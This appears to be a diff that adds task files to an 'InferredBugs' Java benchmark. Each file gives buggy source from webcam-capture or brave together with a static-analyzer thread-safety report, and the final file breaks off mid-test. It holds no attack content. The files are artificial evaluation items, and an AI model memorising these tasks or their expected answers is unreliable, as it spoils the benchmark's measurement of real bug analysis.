+					if (paused) {
+						synchronized (this) {
+							this.wait();
+						}
+					}
+
+					Thread.sleep((long) (1000 / frequency));
+
+				} catch (InterruptedException e) {
+					LOG.error("Nasty interrupted exception");
+				}
+
+				repaint();
+			}
+		}
+	}
+
+	private Webcam webcam = null;
+	private BufferedImage image = null;
+	private Repainter repainter = null;
+
+	public WebcamPanel(Webcam webcam) {
+
+		this.webcam = webcam;
+		this.webcam.addWebcamListener(this);
+
+		if (!webcam.isOpen()) {
+			webcam.open();
+		}
+
+		setPreferredSize(webcam.getViewSize());
+
+		if (repainter == null) {
+			repainter = new Repainter();
+			repainter.start();
+		}
+	}
+
+	@Override
+	protected void paintComponent(Graphics g) {
+
+		super.paintComponent(g);
+
+		if (image == null) {
+			return;
+		}
+
+		g.drawImage(image, 0, 0, null);
+	}
+
+	@Override
+	public void webcamOpen(WebcamEvent we) {
+		if (repainter == null) {
+			repainter = new Repainter();
+			repainter.start();
+		}
+		setPreferredSize(webcam.getViewSize());
+	}
+
+	@Override
+	public void webcamClosed(WebcamEvent we) {
+		if (repainter != null) {
+			if (repainter.isAlive()) {
+				try {
+					repainter.join(1000);
+				} catch (InterruptedException e) {
+					throw new WebcamException("Thread interrupted", e);
+				}
+			}
+			repainter = null;
+		}
+	}
+
+	private volatile boolean paused = false;
+
+	/**
+	 * Pause rendering.
+	 */
+	public void pause() {
+		if (paused) {
+			return;
+		}
+		paused = true;
+	}
+
+	/**
+	 * Resume rendering.
+	 */
+	public void resume() {
+		if (!paused) {
+			return;
+		}
+		synchronized (repainter) {
+			repainter.notifyAll();
+		}
+		paused = false;
+	}
+
+	/**
+	 * @return Rendering frequency (in Hz or FPS).
+	 */
+	public double getFrequency() {
+		return frequency;
+	}
+
+	private static final double MIN_FREQUENCY = 0.016; // 1 frame per minute
+	private static final double MAX_FREQUENCY = 25; // 25 frames per second
+
+	/**
+	 * Set rendering frequency (in Hz or FPS). Minimum frequency is 0.016 (1
+	 * frame per minute) and maximum is 25 (25 frames per second).
+	 * 
+	 * @param frequency the frequency
+	 */
+	public void setFPS(double frequency) {
+		if (frequency > MAX_FREQUENCY) {
+			frequency = MAX_FREQUENCY;
+		}
+		if (frequency < MIN_FREQUENCY) {
+			frequency = MIN_FREQUENCY;
+		}
+		this.frequency = frequency;
+	}
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.github.sarxos.webcam.WebcamPanel.resume` reads without synchronization from `this.com.github.sarxos.webcam.WebcamPanel.repainter`. Potentially races with write in method `WebcamPanel.webcamOpen(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WebcamPanel.resume()
+
+### Procedure Id:
+com.github.sarxos.webcam.WebcamPanel.resume():void.88c163150d914d0093fd1088d7e0f5ee
+
+### File:
+webcam-capture/src/main/java/com/github/sarxos/webcam/WebcamPanel.java
+
+### Key:
+WebcamPanel.java|resume|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6a6906d6b7d7f1c5b2e5a657fcbecbd1
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6858/instruction.md b/inferredbugs-6858/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2b2d66fa72a29ff7d375948d74f4bf275aca4bc9
--- /dev/null
+++ b/inferredbugs-6858/instruction.md
@@ -0,0 +1,483 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webcam-capture
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.sarxos.webcam.ds.gstreamer;
+
+import java.awt.Dimension;
+import java.awt.image.BufferedImage;
+import java.awt.image.DataBufferInt;
+import java.io.File;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.bridj.Platform;
+import org.gstreamer.Caps;
+import org.gstreamer.Element;
+import org.gstreamer.ElementFactory;
+import org.gstreamer.Pad;
+import org.gstreamer.Pipeline;
+import org.gstreamer.State;
+import org.gstreamer.Structure;
+import org.gstreamer.elements.RGBDataSink;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.sarxos.webcam.WebcamDevice;
+import com.github.sarxos.webcam.WebcamResolution;
+
+
+public class GStreamerDevice implements WebcamDevice, RGBDataSink.Listener, WebcamDevice.FPSSource {
+
+	/**
+	 * Logger.
+	 */
+	private static final Logger LOG = LoggerFactory.getLogger(GStreamerDevice.class);
+
+	/**
+	 * Limit the lateness of frames to no more than 20ms (half a frame at 25fps)
+	 */
+	private static final long LATENESS = 20; // ms
+
+	/**
+	 * First formats are better. For example video/x-raw-rgb gives 30 FPS on HD720p where
+	 * video/x-raw-yuv only 10 FPS on the same resolution. The goal is to use these "better" formats
+	 * first, and then fallback to less efficient when not available.
+	 */
+	private static final String[] BEST_FORMATS = {
+		"video/x-raw-rgb",
+		"video/x-raw-yuv",
+	};
+
+	/**
+	 * Video format to capture.
+	 */
+	private String format;
+
+	/**
+	 * All possible resolutions - populated while initialization phase.
+	 */
+	private Dimension[] resolutions = null;
+
+	/**
+	 * Device name, immutable. Used only on Windows platform.
+	 */
+	private final String name;
+	/**
+	 * Device name, immutable. Used only on Linux platform.
+	 */
+	private final File vfile;
+
+	/* gstreamer stuff */
+
+	private Pipeline pipe = null;
+	private Element source = null;
+	private Element filter = null;
+	private RGBDataSink sink = null;
+
+	private Caps caps = null;
+
+	/* logic */
+
+	private AtomicBoolean open = new AtomicBoolean(false);
+	private AtomicBoolean disposed = new AtomicBoolean(false);
+	private AtomicBoolean starting = new AtomicBoolean(false);
+	private AtomicBoolean initialized = new AtomicBoolean(false);
+	private Dimension resolution = WebcamResolution.VGA.getSize();
+	private BufferedImage image = null;
+
+	/* used to calculate fps */
+
+	private long t1 = -1;
+	private long t2 = -1;
+
+	private volatile double fps = 0;
+
+	/**
+	 * Create GStreamer webcam device.
+	 *
+	 * @param name the name of webcam device
+	 */
+	protected GStreamerDevice(String name) {
+		this.name = name;
+		this.vfile = null;
+	}
+
+	protected GStreamerDevice(File vfile) {
+		this.name = null;
+		this.vfile = vfile;
+	}
+
+	/**
+	 * Initialize webcam device.
+	 */
+	private synchronized void init() {
+
+		if (!initialized.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("GStreamer webcam device initialization");
+
+		pipe = new Pipeline(name);
+
+		if (Platform.isWindows()) {
+			source = ElementFactory.make("dshowvideosrc", "source");
+			source.set("device-name", name);
+		} else if (Platform.isLinux()) {
+			source = ElementFactory.make("v4l2src", "source");
+			source.set("device", vfile.getAbsolutePath());
+		}
+
+		sink = new RGBDataSink(name, this);
+		sink.setPassDirectBuffer(true);
+		sink.getSinkElement().setMaximumLateness(LATENESS, TimeUnit.MILLISECONDS);
+		sink.getSinkElement().setQOSEnabled(true);
+
+		filter = ElementFactory.make("capsfilter", "filter");
+
+		if (Platform.isLinux()) {
+			pipe.addMany(source, filter, sink);
+			Element.linkMany(source, filter, sink);
+			pipe.setState(State.READY);
+		}
+
+		resolutions = parseResolutions(source.getPads().get(0));
+
+		if (Platform.isLinux()) {
+			pipe.setState(State.NULL);
+			Element.unlinkMany(source, filter, sink);
+			pipe.removeMany(source, filter, sink);
+		}
+	}
+
+	/**
+	 * Use GStreamer to get all possible resolutions.
+	 *
+	 * @param pad the pad to get resolutions from
+	 * @return Array of resolutions supported by device connected with pad
+	 */
+	private Dimension[] parseResolutions(Pad pad) {
+
+		Caps caps = pad.getCaps();
+
+		format = findBestFormat(caps);
+
+		LOG.debug("Best format is {}", format);
+
+		Dimension r = null;
+		Structure s = null;
+		String mime = null;
+
+		int n = caps.size();
+		int i = 0;
+
+		Map<String, Dimension> map = new HashMap<String, Dimension>();
+
+		do {
+
+			s = caps.getStructure(i++);
+
+			LOG.debug("Found format structure {}", s);
+
+			mime = s.getName();
+
+			if (mime.equals(format)) {
+				if ((r = capStructToResolution(s)) != null) {
+					map.put(r.width + "x" + r.height, r);
+				}
+			}
+
+		} while (i < n);
+
+		Dimension[] resolutions = new ArrayList<Dimension>(map.values()).toArray(new Dimension[map.size()]);
+
+		if (LOG.isDebugEnabled()) {
+			for (Dimension d : resolutions) {
+				LOG.debug("Resolution detected {}", d);
+			}
+		}
+
+		return resolutions;
+	}
+
+	private static String findBestFormat(Caps caps) {
+		for (String f : BEST_FORMATS) {
+			for (int i = 0, n = caps.size(); i < n; i++) {
+				if (f.equals(caps.getStructure(i).getName())) {
+					return f;
+				}
+			}
+		}
+		return null;
+	}
+
+	private static Dimension capStructToResolution(Structure structure) {
+
+		int w = -1;
+		int h = -1;
+
+		if (Platform.isWindows()) {
+			w = structure.getRange("width").getMinInt();
+			h = structure.getRange("height").getMinInt();
+		} else if (Platform.isLinux()) {
+			w = structure.getInteger("width");
+			h = structure.getInteger("height");
+		}
+
+		if (w > 0 && h > 0) {
+			return new Dimension(w, h);
+		} else {
+			return null;
+		}
+	}
+
+	@Override
+	public String getName() {
+		if (Platform.isWindows()) {
+			return name;
+		} else if (Platform.isLinux()) {
+			return vfile.getAbsolutePath();
+		} else {
+			throw new RuntimeException("Platform not supported by GStreamer capture driver");
+		}
+	}
+
+	@Override
+	public Dimension[] getResolutions() {
+		init();
+		return resolutions;
+	}
+
+	@Override
+	public Dimension getResolution() {
+		return resolution;
+	}
+
+	@Override
+	public void setResolution(Dimension size) {
+		this.resolution = size;
+	}
+
+	@Override
+	public BufferedImage getImage() {
+		return image;
+	}
+
+	@Override
+	public void open() {
+
+		if (!open.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("Opening GStreamer device");
+
+		init();
+
+		starting.set(true);
+
+		Dimension size = getResolution();
+
+		image = new BufferedImage(size.width, size.height, BufferedImage.TYPE_INT_RGB);
+		image.setAccelerationPriority(0);
+		image.flush();
+
+		if (caps != null) {
+			caps.dispose();
+		}
+
+		caps = Caps.fromString(String.format("%s,width=%d,height=%d", format, size.width, size.height));
+
+		filter.setCaps(caps);
+
+		LOG.debug("Link elements");
+
+		pipe.addMany(source, filter, sink);
+		Element.linkMany(source, filter, sink);
+		pipe.setState(State.PLAYING);
+
+		// wait max 20s for image to appear
+		synchronized (this) {
+			LOG.debug("Wait for device to be ready");
+			try {
+				this.wait(20000);
+			} catch (InterruptedException e) {
+				return;
+			}
+		}
+	}
+
+	@Override
+	public void close() {
+
+		if (!open.compareAndSet(true, false)) {
+			return;
+		}
+
+		LOG.debug("Closing GStreamer device");
+
+		image = null;
+
+		LOG.debug("Unlink elements");
+
+		pipe.setState(State.NULL);
+		Element.unlinkMany(source, filter, sink);
+		pipe.removeMany(source, filter, sink);
+	}
+
+	@Override
+	public void dispose() {
+
+		if (!disposed.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("Disposing GStreamer device");
+
+		close();
+
+		filter.dispose();
+		source.dispose();
+		sink.dispose();
+		pipe.dispose();
+		caps.dispose();
+	}
+
+	@Override
+	public boolean isOpen() {
+		return open.get();
+	}
+
+	@Override
+	public void rgbFrame(boolean preroll, int width, int height, IntBuffer rgb) {
+
+		LOG.trace("New RGB frame");
+
+		if (t1 == -1 || t2 == -1) {
+			t1 = System.currentTimeMillis();
+			t2 = System.currentTimeMillis();
+		}
+
+		BufferedImage tmp = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
+		tmp.setAccelerationPriority(0);
+		rgb.get(((DataBufferInt) tmp.getRaster().getDataBuffer()).getData(), 0, width * height);
+		tmp.flush();
+
+		image = tmp;
+
+		if (starting.compareAndSet(true, false)) {
+
+			synchronized (this) {
+				this.notifyAll();
+			}
+
+			LOG.debug("GStreamer device ready");
+		}
+
+		t1 = t2;
+		t2 = System.currentTimeMillis();
+
+		fps = (4 * fps + 1000 / (t2 - t1 + 1)) / 5;
+	}
+
+	@Override
+	public double getFPS() {
+		return fps;
+	}
+
+	public Pipeline getPipe() {
+		return pipe;
+	}
+
+	public Element getSource() {
+		return source;
+	}
+
+	public Element getFilter() {
+		return filter;
+	}
+
+	public RGBDataSink getSink() {
+		return sink;
+	}
+
+	public Caps getCaps() {
+		return caps;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.dispose` indirectly writes to field `this.com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.image` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GStreamerDevice.dispose()
+
+### Procedure Id:
+com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.dispose():void.664cce93066d1f38fb38544c1fbfc122
+
+### File:
+webcam-capture-drivers/driver-gstreamer/src/main/java/com/github/sarxos/webcam/ds/gstreamer/GStreamerDevice.java
+
+### Key:
+GStreamerDevice.java|dispose|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+d8bc6fd5bed83f6954eda379df7213f5
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6860/instruction.md b/inferredbugs-6860/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7faaf7446d6070219f9c7bb67f79aa97db041316
--- /dev/null
+++ b/inferredbugs-6860/instruction.md
@@ -0,0 +1,483 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webcam-capture
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.sarxos.webcam.ds.gstreamer;
+
+import java.awt.Dimension;
+import java.awt.image.BufferedImage;
+import java.awt.image.DataBufferInt;
+import java.io.File;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.bridj.Platform;
+import org.gstreamer.Caps;
+import org.gstreamer.Element;
+import org.gstreamer.ElementFactory;
+import org.gstreamer.Pad;
+import org.gstreamer.Pipeline;
+import org.gstreamer.State;
+import org.gstreamer.Structure;
+import org.gstreamer.elements.RGBDataSink;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.sarxos.webcam.WebcamDevice;
+import com.github.sarxos.webcam.WebcamResolution;
+
+
+public class GStreamerDevice implements WebcamDevice, RGBDataSink.Listener, WebcamDevice.FPSSource {
+
+	/**
+	 * Logger.
+	 */
+	private static final Logger LOG = LoggerFactory.getLogger(GStreamerDevice.class);
+
+	/**
+	 * Limit the lateness of frames to no more than 20ms (half a frame at 25fps)
+	 */
+	private static final long LATENESS = 20; // ms
+
+	/**
+	 * First formats are better. For example video/x-raw-rgb gives 30 FPS on HD720p where
+	 * video/x-raw-yuv only 10 FPS on the same resolution. The goal is to use these "better" formats
+	 * first, and then fallback to less efficient when not available.
+	 */
+	private static final String[] BEST_FORMATS = {
+		"video/x-raw-rgb",
+		"video/x-raw-yuv",
+	};
+
+	/**
+	 * Video format to capture.
+	 */
+	private String format;
+
+	/**
+	 * All possible resolutions - populated while initialization phase.
+	 */
+	private Dimension[] resolutions = null;
+
+	/**
+	 * Device name, immutable. Used only on Windows platform.
+	 */
+	private final String name;
+	/**
+	 * Device name, immutable. Used only on Linux platform.
+	 */
+	private final File vfile;
+
+	/* gstreamer stuff */
+
+	private Pipeline pipe = null;
+	private Element source = null;
+	private Element filter = null;
+	private RGBDataSink sink = null;
+
+	private Caps caps = null;
+
+	/* logic */
+
+	private AtomicBoolean open = new AtomicBoolean(false);
+	private AtomicBoolean disposed = new AtomicBoolean(false);
+	private AtomicBoolean starting = new AtomicBoolean(false);
+	private AtomicBoolean initialized = new AtomicBoolean(false);
+	private Dimension resolution = WebcamResolution.VGA.getSize();
+	private BufferedImage image = null;
+
+	/* used to calculate fps */
+
+	private long t1 = -1;
+	private long t2 = -1;
+
+	private volatile double fps = 0;
+
+	/**
+	 * Create GStreamer webcam device.
+	 *
+	 * @param name the name of webcam device
+	 */
+	protected GStreamerDevice(String name) {
+		this.name = name;
+		this.vfile = null;
+	}
+
+	protected GStreamerDevice(File vfile) {
+		this.name = null;
+		this.vfile = vfile;
+	}
+
+	/**
+	 * Initialize webcam device.
+	 */
+	private synchronized void init() {
+
+		if (!initialized.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("GStreamer webcam device initialization");
+
+		pipe = new Pipeline(name);
+
+		if (Platform.isWindows()) {
+			source = ElementFactory.make("dshowvideosrc", "source");
+			source.set("device-name", name);
+		} else if (Platform.isLinux()) {
+			source = ElementFactory.make("v4l2src", "source");
+			source.set("device", vfile.getAbsolutePath());
+		}
+
+		sink = new RGBDataSink(name, this);
+		sink.setPassDirectBuffer(true);
+		sink.getSinkElement().setMaximumLateness(LATENESS, TimeUnit.MILLISECONDS);
+		sink.getSinkElement().setQOSEnabled(true);
+
+		filter = ElementFactory.make("capsfilter", "filter");
+
+		if (Platform.isLinux()) {
+			pipe.addMany(source, filter, sink);
+			Element.linkMany(source, filter, sink);
+			pipe.setState(State.READY);
+		}
+
+		resolutions = parseResolutions(source.getPads().get(0));
+
+		if (Platform.isLinux()) {
+			pipe.setState(State.NULL);
+			Element.unlinkMany(source, filter, sink);
+			pipe.removeMany(source, filter, sink);
+		}
+	}
+
+	/**
+	 * Use GStreamer to get all possible resolutions.
+	 *
+	 * @param pad the pad to get resolutions from
+	 * @return Array of resolutions supported by device connected with pad
+	 */
+	private Dimension[] parseResolutions(Pad pad) {
+
+		Caps caps = pad.getCaps();
+
+		format = findBestFormat(caps);
+
+		LOG.debug("Best format is {}", format);
+
+		Dimension r = null;
+		Structure s = null;
+		String mime = null;
+
+		int n = caps.size();
+		int i = 0;
+
+		Map<String, Dimension> map = new HashMap<String, Dimension>();
+
+		do {
+
+			s = caps.getStructure(i++);
+
+			LOG.debug("Found format structure {}", s);
+
+			mime = s.getName();
+
+			if (mime.equals(format)) {
+				if ((r = capStructToResolution(s)) != null) {
+					map.put(r.width + "x" + r.height, r);
+				}
+			}
+
+		} while (i < n);
+
+		Dimension[] resolutions = new ArrayList<Dimension>(map.values()).toArray(new Dimension[map.size()]);
+
+		if (LOG.isDebugEnabled()) {
+			for (Dimension d : resolutions) {
+				LOG.debug("Resolution detected {}", d);
+			}
+		}
+
+		return resolutions;
+	}
+
+	private static String findBestFormat(Caps caps) {
+		for (String f : BEST_FORMATS) {
+			for (int i = 0, n = caps.size(); i < n; i++) {
+				if (f.equals(caps.getStructure(i).getName())) {
+					return f;
+				}
+			}
+		}
+		return null;
+	}
+
+	private static Dimension capStructToResolution(Structure structure) {
+
+		int w = -1;
+		int h = -1;
+
+		if (Platform.isWindows()) {
+			w = structure.getRange("width").getMinInt();
+			h = structure.getRange("height").getMinInt();
+		} else if (Platform.isLinux()) {
+			w = structure.getInteger("width");
+			h = structure.getInteger("height");
+		}
+
+		if (w > 0 && h > 0) {
+			return new Dimension(w, h);
+		} else {
+			return null;
+		}
+	}
+
+	@Override
+	public String getName() {
+		if (Platform.isWindows()) {
+			return name;
+		} else if (Platform.isLinux()) {
+			return vfile.getAbsolutePath();
+		} else {
+			throw new RuntimeException("Platform not supported by GStreamer capture driver");
+		}
+	}
+
+	@Override
+	public Dimension[] getResolutions() {
+		init();
+		return resolutions;
+	}
+
+	@Override
+	public Dimension getResolution() {
+		return resolution;
+	}
+
+	@Override
+	public void setResolution(Dimension size) {
+		this.resolution = size;
+	}
+
+	@Override
+	public BufferedImage getImage() {
+		return image;
+	}
+
+	@Override
+	public void open() {
+
+		if (!open.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("Opening GStreamer device");
+
+		init();
+
+		starting.set(true);
+
+		Dimension size = getResolution();
+
+		image = new BufferedImage(size.width, size.height, BufferedImage.TYPE_INT_RGB);
+		image.setAccelerationPriority(0);
+		image.flush();
+
+		if (caps != null) {
+			caps.dispose();
+		}
+
+		caps = Caps.fromString(String.format("%s,width=%d,height=%d", format, size.width, size.height));
+
+		filter.setCaps(caps);
+
+		LOG.debug("Link elements");
+
+		pipe.addMany(source, filter, sink);
+		Element.linkMany(source, filter, sink);
+		pipe.setState(State.PLAYING);
+
+		// wait max 20s for image to appear
+		synchronized (this) {
+			LOG.debug("Wait for device to be ready");
+			try {
+				this.wait(20000);
+			} catch (InterruptedException e) {
+				return;
+			}
+		}
+	}
+
+	@Override
+	public void close() {
+
+		if (!open.compareAndSet(true, false)) {
+			return;
+		}
+
+		LOG.debug("Closing GStreamer device");
+
+		image = null;
+
+		LOG.debug("Unlink elements");
+
+		pipe.setState(State.NULL);
+		Element.unlinkMany(source, filter, sink);
+		pipe.removeMany(source, filter, sink);
+	}
+
+	@Override
+	public void dispose() {
+
+		if (!disposed.compareAndSet(false, true)) {
+			return;
+		}
+
+		LOG.debug("Disposing GStreamer device");
+
+		close();
+
+		filter.dispose();
+		source.dispose();
+		sink.dispose();
+		pipe.dispose();
+		caps.dispose();
+	}
+
+	@Override
+	public boolean isOpen() {
+		return open.get();
+	}
+
+	@Override
+	public void rgbFrame(boolean preroll, int width, int height, IntBuffer rgb) {
+
+		LOG.trace("New RGB frame");
+
+		if (t1 == -1 || t2 == -1) {
+			t1 = System.currentTimeMillis();
+			t2 = System.currentTimeMillis();
+		}
+
+		BufferedImage tmp = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
+		tmp.setAccelerationPriority(0);
+		rgb.get(((DataBufferInt) tmp.getRaster().getDataBuffer()).getData(), 0, width * height);
+		tmp.flush();
+
+		image = tmp;
+
+		if (starting.compareAndSet(true, false)) {
+
+			synchronized (this) {
+				this.notifyAll();
+			}
+
+			LOG.debug("GStreamer device ready");
+		}
+
+		t1 = t2;
+		t2 = System.currentTimeMillis();
+
+		fps = (4 * fps + 1000 / (t2 - t1 + 1)) / 5;
+	}
+
+	@Override
+	public double getFPS() {
+		return fps;
+	}
+
+	public Pipeline getPipe() {
+		return pipe;
+	}
+
+	public Element getSource() {
+		return source;
+	}
+
+	public Element getFilter() {
+		return filter;
+	}
+
+	public RGBDataSink getSink() {
+		return sink;
+	}
+
+	public Caps getCaps() {
+		return caps;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.open` reads without synchronization from `this.com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.sink`. Potentially races with write in method `GStreamerDevice.open()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GStreamerDevice.open()
+
+### Procedure Id:
+com.github.sarxos.webcam.ds.gstreamer.GStreamerDevice.open():void.dfec049d772f6ef69be774e4cb67ce48
+
+### File:
+webcam-capture-drivers/driver-gstreamer/src/main/java/com/github/sarxos/webcam/ds/gstreamer/GStreamerDevice.java
+
+### Key:
+GStreamerDevice.java|open|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+49840db43338981323e15beb834c3359
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6867/instruction.md b/inferredbugs-6867/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b15611ed97ed1c4b485cb0e4ed3d668cb11271d6
--- /dev/null
+++ b/inferredbugs-6867/instruction.md
@@ -0,0 +1,383 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brave
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.kristofa.brave;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.when;
+
+import java.util.Random;
+
+import com.github.kristofa.brave.example.TestServerClientAndLocalSpanStateCompilation;
+import com.github.kristofa.brave.internal.Util;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.powermock.api.mockito.PowerMockito;
+import org.powermock.core.classloader.annotations.PrepareForTest;
+import org.powermock.modules.junit4.PowerMockRunner;
+
+import com.twitter.zipkin.gen.Endpoint;
+import com.twitter.zipkin.gen.Span;
+
+@RunWith(PowerMockRunner.class)
+@PrepareForTest({AnnotationSubmitter.class, LocalTracer.class})
+public class LocalTracerTest {
+
+    private static final long PARENT_TRACE_ID = 105;
+    private static final long PARENT_SPAN_ID = 103;
+    private static final String COMPONENT_NAME = "componentname";
+    private static final String OPERATION_NAME = "operationname";
+
+    private ServerClientAndLocalSpanState state;
+    private Random mockRandom;
+    private SpanCollector mockCollector;
+    private LocalTracer localTracer;
+
+    @Before
+    public void setup() {
+        mockRandom = mock(Random.class);
+        when(mockRandom.nextLong()).thenReturn(555L);
+
+        mockCollector = mock(SpanCollector.class);
+
+        PowerMockito.mockStatic(System.class);
+        state = new TestServerClientAndLocalSpanStateCompilation();
+        localTracer = LocalTracer.builder()
+                .spanAndEndpoint(SpanAndEndpoint.LocalSpanAndEndpoint.create(state))
+                .randomGenerator(mockRandom)
+                .spanCollector(mockCollector)
+                .allowNestedLocalSpans(false)
+                .traceSampler(Sampler.create(1.0f))
+                .clock(AnnotationSubmitter.DefaultClock.INSTANCE)
+                .build();
+    }
+
+    /**
+     * When a local span is started without a timestamp, microseconds and a tick are recorded for
+     * duration calculation. A binary annotation is added for search by component.
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startNewSpan(component, operation); // internally time and nanos are recorded
+     * </pre>
+     */
+    @Test
+    public void startNewSpan() {
+        state.setCurrentServerSpan(ServerSpan.create(PARENT_TRACE_ID, PARENT_SPAN_ID, null, "name"));
+
+        PowerMockito.when(System.currentTimeMillis()).thenReturn(1L);
+        PowerMockito.when(System.nanoTime()).thenReturn(500L);
+
+        SpanId expectedSpanId =
+            SpanId.builder().traceId(PARENT_TRACE_ID).spanId(555L).parentId(PARENT_SPAN_ID).build();
+
+        assertEquals(expectedSpanId, localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME));
+
+        Span started = state.getCurrentLocalSpan();
+
+        assertEquals(1000L, started.getTimestamp().longValue());
+        assertEquals(500L, started.startTick.longValue());
+        assertEquals("lc", started.getBinary_annotations().get(0).getKey());
+        assertEquals(COMPONENT_NAME, new String(started.getBinary_annotations().get(0).getValue(), Util.UTF_8));
+        assertEquals(state.endpoint(), started.getBinary_annotations().get(0).host);
+        assertEquals(OPERATION_NAME, started.getName());
+    }
+
+    /**
+     * When a span is started with a timestamp, we can't use nanotime for duration as we don't
+     * know the nanotime value for that timestamp.
+     * <p>
+     * <p/>Ex.
+     * <pre>
+     * localTracer.startNewSpan(component, operation, startTime);
+     *
+     * </pre>
+     */
+    @Test
+    public void startSpan_userSuppliedTimestamp() {
+        state.setCurrentServerSpan(ServerSpan.create(PARENT_TRACE_ID, PARENT_SPAN_ID, null, "name"));
+
+        localTracer.startNewSpan(COMPONENT_NAME, OPERATION_NAME, 1000L);
+
+        Span started = state.getCurrentLocalSpan();
+        assertEquals(1000L, started.getTimestamp().longValue());
+        assertNull(started.startTick);
+    }
+
+    @Test
+    public void startSpan_unsampled() {
